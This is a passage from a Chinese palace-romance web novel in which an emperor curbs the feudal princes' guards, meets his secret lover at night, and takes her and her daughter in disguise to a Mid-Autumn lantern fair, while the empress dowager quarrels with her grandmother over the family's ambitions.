“陛、陛下明鉴!”雍王的声音发颤,伏低身子,“臣……臣当时是猪油蒙了心!绝无伤害……伤害真人之意!真的只是想请真人过府做客,讨教些养生之道,绝无半分不敬歹念!求陛下开恩,体恤臣一时糊涂!” 姜玄端坐御案之后,居高临下地看着这位惶惶不可终日的皇兄,面上无波无澜,既未动怒,也未立刻叫起。待雍王说得声嘶力竭,他才缓缓开口,语气平淡道:“雍王怕是记岔了。哪里有什么甄太妃?那位,不过是早年与皇家有些许渊源、如今一心向道的素华真人罢了。” 雍王连连磕头改口:“是是是!陛下说的是!是臣糊涂,记错了!是素华真人!臣莽撞,冒犯了真人清静,臣……臣愿意弥补,重重补偿真人!” “真人乃方外之人,红尘俗物于她不过浮云。”姜玄指尖轻叩御案,声音不疾不徐,“她之所愿,惟天下太平,百姓安乐,皇族和睦,不起纷争而已。” 这话听着超然,落在雍王耳中,却字字如锤。天下太平,皇族和睦?他想起这几日如同架在火上烤的滋味——自己与其他几位亲王被变相困在京中,归期渺茫。封地那边却已翻了天,户部派员清查田亩赋税,兵部特使核查卫兵员额装备,锦衣卫更是如鬼魅般四处探听,将封地搅得人心惶惶,诸多“旧账”眼看就要捂不住。皇帝这分明是借康王谋逆的余威,要对他们这些藩王动手了! 雍王心念电转,恐惧与权衡激烈交锋。他知道,今日若不拿出足够的“诚意”,别说平安离京,恐怕自身难保。与其等皇帝一步步将刀架到脖子上,不如自己先断臂求生。 他猛地抬头,脸上做出痛心疾首、幡然醒悟的表情,声音拔高,激动道:“陛下!经康王谋逆一事,臣痛定思痛!身为姜氏子孙,受国恩俸禄,本当为社稷出力,为陛下分忧,岂能一味依仗祖上余荫,坐拥私兵,徒耗国力,反成朝廷隐忧?臣……臣愿率先上表,奏请朝廷依制削减封地护卫兵额,精简用度,以充国库,以安民心!望陛下恩准!”说罢,又是深深一拜,姿态做得十足。 姜玄静静看着他表演,片刻后,脸上才绽开浅淡笑容,语气也缓和下来:“皇兄深明大义,顾全大局,不愧是我姜氏肱骨,眼光高远,实乃宗室表率。朕,心甚慰。” 这便是准了。 雍王得了这句“表率”,心中苦涩与庆幸交织,知道这“带头”的差使是推不掉了,只能咬牙认下。 果然,雍王“主动”请求削减护卫的奏表一上,如同在滚油中滴入冷水,瞬间在其余几位本就焦头烂额的亲王中炸开。众人骂雍王软骨头的有,怨他出卖宗室利益的有,但更多的是恐慌。雍王已“表态”,他们若再硬扛,岂不是显得心怀异志?在皇帝接连施展的威压与雍王“榜样”的逼迫下,诸王被彻底架在火上,不得不接连上表,依样画葫芦,奏请削减封地卫兵。 姜玄顺势推舟,召集重臣“慎重”商议,很快颁下明旨:为体恤藩王,集中国力,各亲王封地护卫,依制裁撤,定额为一千,专司王府护卫与仪仗,不得逾制。一应超编兵员、装备、粮饷,由朝廷派员接收处理。 这一招连消带打,借康王案余威,拿住雍王把柄逼其就范,再以雍王为突破口挟制诸王,最终兵不血刃,成功将悬于头顶的藩王私兵利刃卸去大半。手段之老辣,时机之精准,令人叹服。 第210章 重温旧梦 消息传入长宁宫,太后正拈着佛珠,听完沁芳细禀,沉默良久,方轻叹一声道:“栖真心思越发深沉了。削藩之事,怕不是他一时兴起,早在心里谋划了不知多久。雍王那老滑头,这次栽得如此干脆,必是让人拿住了极要命的把柄。” 太后说着,微微眯起眼,看向紫宸殿方向,仿佛看到紫宸殿御案后那张年轻却日益威严的面孔, 她指尖拨过一颗檀木珠子,眼中闪过思索,“你去一趟梅花巷,让观星台的人仔细查查,雍王最近,尤其是康王出事前后,到底有什么不干不净的首尾,落到了皇帝手里。” “是。”沁芳躬身应下,正要退去安排。 “等等。”太后又唤住她,似乎想起另一桩事,眉头微蹙,“先前宋琦去查那个姓戚的小官,后来因先帝祭祀大典诸事繁杂,暂且搁置了,一直也没个回音。你让观星台的人,顺道一并查查吧。虽不是紧要人物,可一直悬而未决,哀家心里便总觉得不对劲。” “婢子明白。”沁芳应得更深了些,这才悄然退出了殿外。 自从知道了宁儿坎坷的身世后,薛嘉言心中对他便多了一份疼惜。虽不能与对阿满那份深入骨血的母爱完全等同,却比最初时用心了许多。她会亲自过问他的饮食起居,闲暇时也常常抱他在怀中,轻声哼唱些柔和的曲调。 宁儿仿佛也能感知到这份日渐增长的温情,愈发长得白嫩可爱,眉眼渐渐舒展,透出几分清秀的底子。连棠姐儿都拍手笑道:“娘亲,弟弟终于又变回来,越来越好看了!” 薛嘉言只是笑笑,抚了抚女儿的发顶,并未多言。 过了几日,薛嘉言接到张鸿宝递来的信,说是夜里姜玄要来。入夜前,她便换了装束,悄悄去了青瓦胡同那处宅院。 夏末的夜,晚风已带上丝丝凉意,吹散了白日的燥热。薛嘉言先行到了,命人备好热水,仔细沐浴过后,换上了一袭质地轻软贴肤的杏子红软绸寝衣,那颜色衬得她肌肤愈发欺霜赛雪。长发半干,用一根简单的玉簪松松绾起,几缕碎发垂在颈边。周身洒了些清雅宜人的茉莉香露。 她慵懒地歪在内室的湘妃榻上,就着一盏光线柔和的琉璃灯,随手翻着本闲书,实则书页上的字一个也未入眼,心神早已飘向了门外那片夜色,等待着那熟悉而沉稳的脚步声响起。 姜玄果然如约而至。他推门进来时,带进一丝夜风微凉的清新气息,目光瞬间便如磁石般,牢牢攫住了榻上那抹窈窕慵懒的身影。灯火为她周身镀上一层温暖的暖晕,薄软的杏红绸衣下,玲珑曲线若隐若现,空气中浮动的暗香无声撩拨着他紧绷的神经。 没有多余言语,甚至连目光交缠都嫌太慢。他几步上前,俯身便将她整个拥入怀中,低头精准地寻到那思念已久的柔软唇瓣,深深吻了下去,带着久别重逢的急切与不容抗拒的力道。 姜玄才二十岁,正是血气方刚、精力最盛的年纪。此刻抱着刚刚沐浴完毕、温香软玉的心上人,身体里压抑已久的火焰轰然腾起,瞬间燎原。 这个吻炽烈而绵长,几乎夺去薛嘉言的呼吸。她能清晰感受到他胸腔里擂鼓般的心跳,和透过薄薄衣料传来的惊人热度。 许久,姜玄才勉强控制住自己,稍稍退开些许,呼吸依旧粗重,额头抵着她的,声音沙哑得不成样子:“……等我一下。” 薛嘉言脸颊绯红,眼眸湿润,微微喘息着点了点头。 姜玄深吸一口气,转身大步走向相连的净房。里面很快传来哗啦的水声,急促得很,显见主人并无多少耐心,只想速速了事。 薛嘉言靠在榻上,听着水声,脸上热意未退,心底却泛起一丝甜软的笑意。 待姜玄带着一身清凉水汽回来…… 不知过了多久,云消雨歇。 两人静静相拥,待激烈的心跳与急促的呼吸渐渐平复下来。帐内昏暗,只余彼此温热的体温和交融的气息。姜玄有一下没一下地抚着她光滑细腻的背脊,声音带着极致餍足后的慵懒沙哑:“言言,中秋那晚,我与你一同逛灯会吧?” 薛嘉言累得浑身酥软,迷迷糊糊几乎要睡着,闻言却清醒了几分,睫毛颤了颤,轻声道:“宫里中秋节,不是都要设宴,与宗亲朝臣同乐么?皇上怎能缺席?” “没那个心情。”姜玄语气淡了些,“寻个由头,今年不办了,或让礼部简单操持便是。我把阿满带出来,你把云棠也带上,咱们就像最寻常的人家一样,一起去御街,逛灯会,看烟火,吃些街边小吃,可好?”他描绘的场景简单而美好,充满了人间烟火气的诱惑。 薛嘉言心向往之,哪个女子不期盼与心爱之人、至亲骨肉共度这样温馨美满的佳节?但理智告诉她这件事不简单。她微微撑起身子,担忧地看着他道:“怕是不妥。中秋之夜,御街、汴河两岸,必定是人山人海,摩肩接踵。皇上龙章凤姿,即便微服,也难保不被有心人瞧见认出。再者,人多眼杂,万一遇到什么突发状况,或是……有什么危险……”她不敢想那后果,无论是暴露身份还是安全有失,都是滔天之祸。 “放心。”姜玄握住她微凉的手,包裹在自己温热的掌心里,语气沉稳而笃定,“一切我来安排。路线、护卫、遮掩,都会做到万无一失。你只管等着那一夜,带上云棠,开开心心地玩便是。” 他这般说,显然是早有考量,并非一时冲动。薛嘉言知他性格,一旦决定,必然思虑周全。她心底亦是期盼的,那份对寻常幸福的渴望压过了忧虑,便轻轻“嗯”了一声,算是应下,又将脸埋回他颈窝。 两人相拥着,低声说着些无关朝政、只关风月的体己话,其实都没什么睡意,只觉得这偷来的、无人打扰的温存时光流逝得太快。仿佛只是略闭了闭眼,互相依偎着假寐了片刻,窗外天色已由浓黑转为青灰,远远的,似乎传来了第一声鸡鸣。 甘松压低的声音适时在门外响起,带着小心翼翼地提醒:“主子,时辰到了。” 姜玄虽万般不舍,却也知早朝耽搁不得。他轻叹一声,终究还是松开了怀抱,利落地起身穿衣。 他低头,在她光洁的额间落下一个轻柔而珍重的吻,低声道:“再睡会儿,晚些再回去。” 第211章 你到底想要什么? 姜玄走后,薛嘉言又躺了片刻,揉了揉泛酸的腰肢,这才穿戴整齐,趁着晨雾未散,悄然离开了青瓦胡同,回了戚家。 角门悄无声息地打开,薛嘉言扶着司雨的手下来,主仆二人沿着花园小径,快步回春和院。清晨的花园露水浓重,静谧无人,唯有鸟雀啁啾。 栾氏自那晚发现了春和院的秘密后,好多夜里偷偷张望这边,昨夜她瞧见了薛嘉言出门去,这一夜都没睡安生,天还没亮就起来去了花园里。 栾氏站在一丛开得正盛的木香花后,那层层叠叠的花朵与藤蔓,恰好成了天然的屏障。她隔着花叶缝隙,一眼便瞧见薛嘉言主仆从角门方向过来,鬓发衣裳虽整齐,但那眉眼间尚未褪尽的慵懒春意,以及行走时那微不可察、带着些别扭的步态,落在过来人栾氏眼中,简直如同明晃晃的印记。 栾氏看着薛嘉言主仆的身影消失,才猛地喘出一口气,胸口剧烈起伏。 “淫妇!”她咬着牙,从齿缝里挤出这两个字,眼神怨毒。她儿子死了还不到一年!尸骨未寒,这贱人竟就耐不住寂寞,在外头勾搭上了野男人!瞧那模样,分明是厮混了一夜方回! 栾氏又想起薛嘉言生产那夜的那些护卫。个个身形精悍,眼神锐利,行动间自有一股凛然气势,绝非寻常富户家丁可比。能驱使这样护卫的,定是京城里手眼通天、门第极高的人家。也不知是哪家高门贵邸的爷们,竟被这狐媚子勾了魂去! 她心中又是气怒,又是嫉恨,还夹杂着一丝难以言说的恐惧。 她什么都不敢做,也不知道能怎么做。只能将这股邪火死死压在心底,暗自烧灼,憋得她心口生疼。 栾氏扶着花架,望着薛嘉言院落的方向,眼神阴鸷。半晌,才从牙缝里喃喃低语,仿佛在给自己鼓气,又像是在诅咒:“等着吧……等我的孙儿大了,懂事了,…到时候,定要让孙儿把这淫妇手里的钱财都拿回来!把这只不要脸的狐狸精,干干净净地赶出戚家大门!看她还能得意到几时!” 很快到了中秋,宫里并未如往年般笙歌鼎沸、觥筹交错,姜玄祭月之后便回了长宜宫。 长乐宫里,宫人将应节的瓜果和月饼默默呈上,又无声退下。 太后斜倚在凤榻上,听着沁芳低声禀报前朝的消息。 “……陛下传谕,言道康王谋逆之祸虽平,然京城守卫将士死伤颇重,正值中秋团圆之节,更显忠魂可悯。故而,今年宫中不设宴、不庆贺,将节省下的筵席之资,并内帑拨出专款,厚加抚恤阵亡将士家眷,优恤伤者。朝野闻之,皆称颂陛下仁德体下,不忘忠义。” 太后脸上并未有什么变化,只是那捻着沉香木佛珠的手指,收紧了一下,指节微微泛白。殿内只余佛珠相叩的细碎声响。 这时,宫人通传,宋家秦老夫人到了。 太后这才坐直身子,敛去眸中一闪而过的冷意,换上端庄关切的神色。 秦老夫人眉宇间笼罩着一层挥之不去的忧色与疲惫。太后亲自起身虚扶,赐座,温言慰问了祖母的身体饮食,寒暄几句后,话题便不可避免地转向了中秋前那场惊天动地的变乱。 “宋止的伤势……如今可大安了?”太后问道。 秦老夫人重重叹了口气,脸上皱纹显得更深:“命是保住了,没有性命之忧。只是……”她顿了顿,声音发涩,“太医说,那一刀伤了右手筋脉,虽竭力接续,但往后提笔尚可,若要如从前那般运刀挽弓,却是……万万不能了。” 宋止,宋家这一代最出色、最被寄予厚望的将才,年纪轻轻已屡立战功,被视为宋家军权未来的支柱。右手废了,等于断了他冲锋陷阵的前程。 太后神色不变,淡淡道:“他本就是将领之才,往后运筹帷幄,指挥千军,能提笔就够了。” 秦老夫人听了这话,面色却更难看了几分,她抬头直视着太后,眼神掩不住质询与痛心:“娘娘,当初你一力促成诸王进京祭祀先帝,如今……你可悔了?” 太后捻动佛珠的手指停住。 秦老夫人不等她回答,继续道:“皇上登基以来,对咱们宋家虽有疏远,却也未曾刻意打压猜忌,兵权重担,许多还是交在宋家人肩上。可如今倒好,康王这一场谋逆,折损最大的,反倒是咱们宋家!” 她掰着手指,一项项数来,每说一项,语气便沉痛一分:“止哥儿重伤致残,前途未卜;咱们宋家安插在五城兵马司、禁军各处的子弟亲信,因平乱、追查、被调离、被问罪、甚至莫名死于乱军之中的,不下十数人!宋启的禁卫军左三营的指挥同知司空运被挟持,导致他们整个左三营死伤过半,这代价……太大了!” 太后静静听着,心中并非毫无波澜。悔吗?自然是有些悔的。这局面与她当初设想借诸王进京搅动风云、试探乃至制衡皇帝的计划,相差甚远,反而让宋家元气大伤。但她不能承认,尤其是在家族长辈面前。 她抬起眼,目光恢复了惯有的冷静与强硬:“康王不臣之心,早已有之。即便没有进京祭祀先帝之事,他秣马厉兵,也早晚会起事。如今他在京城发动,看似凶险,实则给了皇上和朝廷将其一网打尽、彻底铲除的良机。借此机会,皇上也亲眼看到了宋家子弟是如何浴血奋战、忠心护主的!咱们也彻底看清了皇上的态度。祸福相依,没什么不好。” 秦老夫人被这番强词夺理噎得哑口无言,胸口起伏着,半晌才看着眼前这个凤冠霞帔、容颜依旧美丽却眼神坚冷如铁的孙女,哑声道:“雅章,你告诉祖母,你到底想做什么?你已经是天底下最最尊贵的女人了!这后宫就是你一人独尊。就算将来皇上娶了皇后,正宫嫡妻,也得规规矩矩跪下,叫你一声‘母后’!你到底还有什么不满意的?” 第212章 生来受苦? 这番话,让太后一直端着的冷静面具出现了一丝裂痕,逆反之心混合着积压多年的委屈与愤懑,猛地翻涌上来。 她冷笑一声,笑声在空旷寂静的宫殿里显得格外清晰刺耳:“我有什么不满意的?是啊,在你们眼里,在天下人眼里,我该心满意足,该感恩戴德,该安安分分做这尊贵无匹的太后!” 她站起身,华美的凤袍裙摆扫过光洁的金砖地面,声音嘲讽:“你们都觉得这金碧辉煌的宫殿是人间仙境,是无上荣耀!可在我眼里,它不过是个更大、更漂亮的牢笼!而我,就是里面那只被供起来的金丝雀!怎么?连扑腾两下翅膀,都不可以吗?!” 秦老夫人惊得目瞪口呆,一脸的不理解,甚至觉得孙女有些不可理喻:“雅章!你胡说什么!天下女人,哪个不是这么过的?相夫教子,管理家宅,一辈子就在那方院子里!牢笼是有大有小,有贱有贵,可你住的,已经是天底下最尊贵、最宽敞的那个了!多少女人求都求不来!” “最尊贵?”太后眸中骤然泛起一层水光,那水光后却燃烧着冰冷的火焰,“是,这天下有很多贫贱的牢笼,可牢笼之内,是两只雀儿相依相偎。可祖母您怕是不知道吧?您这尊贵无比的孙女,出嫁十年,至今——还是个处子之身!” 最后四个字,她几乎是咬着牙,一字一顿地迸出来。 秦老夫人脸上血色瞬间褪尽,嘴唇哆嗦着,翕动了半天,却发不出一个完整的音节。 她自然知道孙女嫁进宫时,先帝年事已高,身体也不大好了,可……可万万没想到,竟至如此! “这……这怎么可能……先帝晚年不是还宠过珍嫔吗?那个珍嫔被你罚跪病死了,外头都传是与你争宠……” 太后看着祖母震惊失语的样子,闭上眼睛,深深地地吸了一口气,将胸腔里那股积压多年的恶心与屈辱强压下去。 她冷冷道:“他那时候……早就不行了。那珍嫔,若不是用了些下作不入流的虎狼之药,如何能引得他‘临幸’?哼,若非不知死活用了那些药,引得他虚耗过度,他只怕……还死不了那么早呢!” 秦老夫人吓得脸色惨白,惶然四顾,想起这是在长乐宫核心内殿,太后的心腹把守,这些话断然传不出去,这才惊魂稍定。再看向孙女时,眼中已满是复杂难言的心疼与恐惧,泪水终于滚落下来。 她颤抖着握住太后冰凉的手,老泪纵横:“好孩子……我的雅章” 太后任她握着,脸上没有什么表情。 秦老夫人用帕子擦着泪,努力平复心绪,终究是历经风雨的家族掌舵人,很快将情绪拉回到现实利害上。 她声音带着哽咽后的沙哑:“可是雅章,你要明白,咱们女人……生来就是要受苦的。不是受这个苦,就是受那个苦。穷苦人家的女子为衣食奔波,官宦人家的女子为家族前程筹谋,便是皇后、太后,也有常人想不到的艰难。你……你既已受了这无法言说的苦楚,就更该惜福啊!” 她看着太后依旧冷漠的侧脸,语气越发恳切,甚至带上了一丝哀求:“你如今是太后,只要你安安分分,慈爱宽和,做好这个太后,将来无论是哪个宋氏女进宫,你帮着她,早些坐稳后位。皇帝虽有了皇子,但其生母出身微贱,更没福气早早去了,无足轻重。只要咱们宋家的皇后能尽快诞下嫡子,那便是名正言顺的太子!到那时,咱们宋家的富贵荣华,权势地位,岂非又可安安稳稳地延续几十年、上百年?雅章,这才是你该走的路,该谋的事啊!何必……何必再去想这些,徒惹风险?” 太后沉默不语,殿内熏香袅袅,甜腻的气味此刻闻来只觉窒息。秦老夫人那些“惜福”、“安分”、“延续宋家富贵”的话语,像一根根细密的针,扎在她早应该麻木却依旧会痛的心上。 同样是宋氏女,凭什么? 凭什么别人或许有机会,在最好的年华,嫁给年轻英俊、手握乾坤的姜玄,成为母仪天下的皇后,与他并肩看这万里江山,生儿育女,享尽世间女子所能企及的、最极致的尊荣与情爱?而她宋雅章,就要在十七岁最好的年纪,嫁给那个年老体弱的姑父? 她这一生,如果就这样循规蹈矩地走下去,按照祖母、按照家族、按照这天下礼法为她划好的路,走到尽头。那么,等到咽下最后一口气、魂魄离体的那一瞬间,她回首往昔,一定会被无边的悔恨与不甘吞噬——她从未为自己活过一日,从未真正触碰过情爱温热,从未体会过被人珍视呵护的滋味。 不。 她或许曾经有过这样的机会,可她选错了。 这个念头如同冰层下的暗火,骤然窜起,灼烧着她的五脏六腑。 她极慢地抬起头,看向还在殷切望着自己的祖母,脸上已看不出任何波澜。甚至,她轻轻挑了一下修剪精致的眉梢,语气漠然,听不出喜怒: “好啊。既然老夫人和家中都如此期盼,那等中秋节过后,哀家便寻个时机,向皇帝提起此事。老夫人回家后,也好早做准备。” 这番话,公事公办,冠冕堂皇。秦老夫人听在耳中,却莫名打了个寒颤。她太了解这个孙女了,知道今日这番话,终究是伤了孙女的心,可家族的兴衰压在肩上,她又不得不言。此刻见太后这般情状,心中既愧且忧,张了张嘴,想再说些熨帖的话,却又觉得苍白无力。 最终,秦老夫人只是神色复杂地又看了太后一眼,千言万语化作一声几不可闻的叹息,说了两句“太后保重凤体”的套话,便带着满腹心事,告退出宫了。 长乐宫再次恢复了令人窒息的寂静。 太后一动不动地坐在凤榻上,精致完美得像是画中人。 她是宋家耗费无数心血培养出来的明珠。从懂事起,她就知道自己的使命——嫁给皇室最有权势、最有希望继承大统的皇子,延续并壮大宋氏的荣耀。 可谁知,天命弄人。 先皇后早逝,中宫空虚。宋家把她送进来,填了这个窟窿。 一辈子,就这么毁了。 不,还没有。 太后缓缓抬起手,抚了抚脸颊,她才二十八岁,青春依旧,美貌依旧,总要为自己活一次。 第213章 栖伯伯 棠姐儿坐在微微摇晃的马车上,借着琉璃风灯暖融融的光,歪着头打量着母亲的装扮。 薛嘉言依照张鸿宝事先的嘱咐,穿了身半新不旧的秋香色细棉布斜襟衫子,配着同色素面裙子,料子柔软舒适,却毫无光华。一头青丝只低低挽了个最寻常的圆髻,用一根样式简单的素银簪子固定,耳垂上坠着小小的银丁香,浑身上下再无半点装饰,瞧着比寻常市井妇人还要素净几分。 棠姐儿却觉得新鲜,她伸出小手摸了摸娘亲棉布衣袖的纹理,又仰头看着娘亲脂粉未施、却更显清丽温婉的脸庞,笑眯眯地说:“娘这样也好看。” 薛嘉言心里正有些忐忑于这从未有过的“朴素”,闻言心头一软,摸了摸女儿的发顶。 “等会到了街上,一定要牵着娘或者司雨姐姐的手,千万不要放开,知道吗?” “嗯,知道了。” 棠姐儿乖乖地点头。 说话间,马车速度渐缓,很快便彻底停了下来。外头人声、笑语、叫卖声混杂着隐约的丝竹乐音,潮水般涌来。拾英的声音在车帘外响起:“主子,下车吧。前头灯市太密,人流也稠,马车只能停在这里,再往前就走不动了。” 薛嘉言应了一声,替棠姐儿理了理衣襟,又最后看了一眼自己这身打扮,牵着女儿的小手,弯腰下了车。 脚刚落地,眼前是一条不算宽阔的巷子,与前方灯火璀璨、人声鼎沸的主街隔着一段距离,算是闹中取静。巷子里已停了几辆相似的青帷小车,她们这辆并不显眼。 拾英在前引路,薛嘉言牵着好奇的东张西望的棠姐儿,往巷子深处走了十几步。那里靠墙停着一辆外观朴拙的乌篷马车,车辕上坐着个戴着斗笠、看不清面目的车夫,正抱着鞭子似在打盹。 她们刚走近,那马车厢的蓝布帘子便被人从里面撩开了一角。 紧接着,帘子被完全打起,一个身影利落地弯腰钻了出来,站定在车前。 借着巷口漏进来的些许远处灯火和月色,薛嘉言看清了来人。 只见他身材颀长挺拔,穿着一身毫无纹饰的靛蓝色棉布长衫,腰间系着同色布带,头上戴着儒生常见的同色幅巾,将发髻包裹得严严实实。这人唇上那两撇胡须修剪得整齐,手中握着一柄普通的竹骨纸面折扇,像是个寻常读书人。 薛嘉言愣了一瞬,目光在那颇为“陌生”的胡须和幅巾上停留片刻,随即对上那双即使在夜色和伪装下含着笑意的双眸。她立刻反应过来,不由低下头,抿唇笑着。 姜玄走近几步,在离她们两三步远的地方站定,目光飞快地扫过薛嘉言全身,在她那身朴素到极致的打扮上略顿,眼中笑意更深。他清了清嗓子,刻意将声音压得比平日低沉了些,还带着点故作熟稔的腔调,拱手道:“薛家妹妹,久等了。今日……哥哥陪你们逛一逛这灯会。” 这故作市井的称呼和语气,与他平日低沉威严的帝王口音天差地别。薛嘉言再也忍不住,抬起眼看他,眼波流转间尽是忍俊不禁的笑意,嘴角梨涡浅浅浮现。 一旁的棠姐儿被这突然出现的、留着胡子的“伯伯”吸引了注意力,轻轻拉了拉薛嘉言的袖子,仰起小脸,乌溜溜的眼睛里满是好奇,小声问道:“娘,这是谁呀?” 薛嘉言稳了稳心神,顺着姜玄方才的话头道:“棠姐儿,这是……栖伯伯。” 她想了想,用了姜玄表字“栖真”里的一个字,“咱们家没有男丁,晚上看灯人多,栖伯伯……是娘亲请来,今晚陪着咱们、照顾咱们逛灯会的。” 棠姐儿听了,小脑瓜转了转,“戚伯伯”?听起来跟自己一个姓呢!怕是哪个她没见过、不记得的远房亲戚吧?既然是娘亲请来照顾她们的,那定然是好人。于是她立刻对着姜玄绽开一个甜甜的笑容,奶声奶气却口齿清晰地唤道:“戚伯伯好!” 这是姜玄第一次见到棠姐儿,这个小女孩有着薛嘉言的影子,玉雪可爱,眼神纯净。 他立刻蹲下了身,让自己与棠姐儿的视线齐平,脸上努力调整出一个自以为最温和可亲的笑容 “棠姐儿真乖,”他学着记忆中见过的、与孩童说话的语气,声音放轻柔,“栖伯伯听说咱们棠姐儿是属小兔子的,最是聪明伶俐。你看,伯伯给你带了只玉雕的小兔儿,看看喜不喜欢?” 说着,他小心地揭开软绸,里面露出一对雕工极为灵动传神的羊脂白玉小兔。玉质温润如凝脂,在巷中朦胧的光线下,泛着柔和莹润的光泽。小兔有拇指大小,圆滚滚的身子蜷伏着,底下穿着一根红色的丝绳,可以佩戴。 棠姐儿看了眼睛一亮,昂头看了看薛嘉言。 薛嘉言轻轻对棠姐儿点了点头。 棠姐儿得了娘亲允许,欢喜地接了过来。 “好漂亮的小兔子!”她欢喜地低呼,抬头望向姜玄,笑容绽得大大的,“谢谢戚伯伯!” 两人在巷中昏暗处相汇,简短交换了一个眼神,彼此心照不宣。 姜玄清了清嗓子,指了指巷口方向,对棠姐儿道:“棠姐儿,看,那边有做糖人的摊子,花样可多了。栖伯伯陪你去做一个,好不好?咱们做个小兔子形状的,又能看又能吃。” 棠姐儿的注意力果然立刻被吸引过去,踮着脚往巷口张望,隐约能看到不少孩子围在摊位前。她回头,眼巴巴地望向薛嘉言,小脸上满是期待。 薛嘉言点点头道:“去吧,跟着栖伯伯,要听话,别乱跑。司雨,仔细跟着姑娘。” “娘放心!”棠姐儿脆生生应了,主动伸出小手,试探性地握住了姜玄伸过来的手。姜玄稳稳握住她的小手,对薛嘉言微一颔首,便领着棠姐儿,朝着巷口那一片光晕与甜香走去。 第214章 生平第一次 薛嘉言转身快步走向姜玄坐着的那辆乌篷马车,早已候在车旁的“车夫”默默打起车帘。 车厢内比外面看起来宽敞整洁,角落里固定着一盏小小的气死风灯,光线柔和。奶娘正抱着阿满坐在铺了厚垫的座位上,见薛嘉言进来,忙要起身。 “坐着吧。”薛嘉言低声道,目光已全然被奶娘怀中的小人儿吸引。 阿满刚吃饱不久,并未睡着,睁着一双黑葡萄般的大眼睛,静静地听着外头隐约传来的热闹声响。小脑袋微微转动着,似乎对这个世界充满了探究,瞧着比同龄婴孩更显机灵精神。 薛嘉言伸手,从奶娘怀中接过孩子。沉甸甸的、温暖柔软的小身子落入臂弯,带着熟悉的奶香气。她低下头,用脸颊轻轻贴了贴儿子嫩滑饱满的小脸蛋,又忍不住在那带着奶膘的脸颊上亲了亲,低喃:“阿满……娘的阿满……” 这孩子长得确实快,才两个多月,抱在手里已有些分量,不再是月子里那轻飘飘的一小团。小胳膊小腿藕节似的,裹在柔软棉布里,充满了茁壮的生命力。薛嘉言抱着他,轻轻摇晃,感受着这份沉甸甸的踏实与幸福,一时间竟有些舍不得放手。 她细细问了奶娘这几日阿满的饮食起居,可还安睡,有无不适,吐奶是否频繁……事无巨细。奶娘一一恭敬作答,言语间满是疼爱,直夸阿满乖巧省心,胃口也好。 没过多久,阿满困了,薛嘉言才万分不舍地将他递回给奶娘。 此时,巷口糖人摊子那边,棠姐儿已经举着两根晶莹剔透的糖人。 看到娘亲来了,棠姐儿献宝似的将糖人举到她面前:“娘亲看!这个是兔子,我的!这个是猴子,给弟弟的!” 薛嘉言与姜玄一人牵着棠姐儿一只手,小小的孩子被护在两人中间,三人一同迈步,缓缓汇入了汴河岸边那浩瀚如星河、喧腾如沸水的人流之中。 视线所及,是连绵不绝、蜿蜒如龙的灯海。长街两侧,家家户户檐下门前都挑着各色灯笼,圆的宫灯,方的纱灯,走马灯滴溜溜转着绘满故事的影画,更有数人高的鳌山灯楼,巍然矗立在街口,以竹为骨,绢纱为面,扎出亭台楼阁、神仙人物、奇花异草,内里成百上千支蜡烛一齐点燃,璀璨夺目,恍若仙宫降世。 耳中所闻,是鼎沸的人声,小贩们扯着嗓子吆喝,“桂花糖~热乎乎的桂花糖~” “巧果儿~新炸的巧果儿咧~” “看灯猜谜,一文钱一试,猜中有彩头!” …… 丝竹管弦之声从临河的画舫或街心的乐棚里飘出,与喧嚷的人声、孩童的欢笑惊叫、远处隐隐的戏曲锣鼓点交织在一起,形成一股巨大而欢乐的声浪,扑面而来,无处可逃。 棠姐儿何曾见过这等景象?她眼睛瞪得圆圆的,小脑袋转来转去,看左边街角舞动的皮影戏,看右边摊子上栩栩如生的面人,看头顶掠过写着谜语的飘灯,看前方人群围观的杂耍把式……目不暇接,只觉得眼睛都不够用了,看什么都觉得新奇有趣,嘴里不时发出“哇”“呀”的惊叹。 莫说是她,就连姜玄,也是生平第一次,置身于这民间最盛大的欢庆之中。 这些鲜活、嘈杂、甚至有些混乱的生机勃勃,对他而言,陌生得近乎震撼,却又在心底最深处,勾起一丝难以言喻的熨帖与温暖。原来,他治下的太平年景,百姓脸上的笑容,是这般模样。 两人都作寻常人家打扮,薛嘉言还罩了一层轻纱,看不清真容。 姜玄则是幅巾布衣,粘着胡子,除了身姿过于挺拔,看上去与街上那些文人秀士并无二致。别说外人,就连薛嘉言初见他这模样时都愣神片刻,其他不知情者,便是想破了脑袋,也绝无可能将眼前这个年轻文人与紫禁城中那位威仪天成的年轻天子联系起来。 即便如此,随着人流渐深,周遭摩肩接踵,薛嘉言的心还是不由自主地微微悬起。她借着俯身替棠姐儿整理衣襟的机会,凑到姜玄耳边问道:“人太多了……不会有事吧?” 姜玄立刻侧首,同样靠近她,嘴唇几乎贴上她覆着轻纱的耳垂,低语:“不怕。”他握着她的手微微用力,“周围都是我的人。” 薛嘉言闻言,面上不动声色,目光却悄然向四周扫去。 四周是川流不息的寻常人,街边是形形色色的摊贩,一切看着都十分常见。 她脑中蓦然想起,上次去雍王府解救甄太妃时,蓝鹰她们是如何在瞬息之间改换形容、如鬼魅般融入环境、变脸如翻书,根本瞧不出半分锦衣卫暗探的痕迹。眼前这些“路人”,其中肯定暗藏了许多蓝鹰那样的人物。 想到此节,她紧绷的心弦松一松。是了,他既敢带她们出来,又岂会毫无准备? 她轻轻吐出一口气,回握住姜玄的手,指尖在他掌心轻轻挠了一下,示意自己明白了,也安心了。 前方一处街角空地上,密密匝匝地围了好几层人墙,里面锣鼓点子敲得热闹欢腾,夹杂着阵阵喝彩与哄笑。棠姐儿竖起耳朵,好奇地拽了拽姜玄的手:“戚伯伯,是什么呀?好热闹!” 挤近了些,透过人群缝隙,隐约能看到里面一个穿着彩衣的汉子正敲着小锣,指挥一只头戴乌纱帽、穿着小红褂的猕猴翻筋斗、骑小车,动作滑稽又灵巧,逗得围观人群哈哈大笑。 原来是猴戏。棠姐儿长这么大,还是头一回见,立刻被吸引住了,扒着前面人的衣裳,踮起脚尖,小脑袋使劲往上探,可前面人墙厚实,她个子矮小,再怎么努力也只能看到前面人的后腰,急得直跺脚。 姜玄见状,几乎没有任何犹豫。他将手中折扇递给身后的“随从”,弯腰对棠姐儿道:“棠姐儿,来,骑到伯伯脖子上看,看得清楚。” 第215章 不叫哥哥叫什么 姜玄说着,双手稳稳托住棠姐儿的腋下,不等薛嘉言反应,便学着周围那些带孩子的父亲一样,轻松一举,将小姑娘高高托起,让她跨坐在自己宽阔的肩颈上。 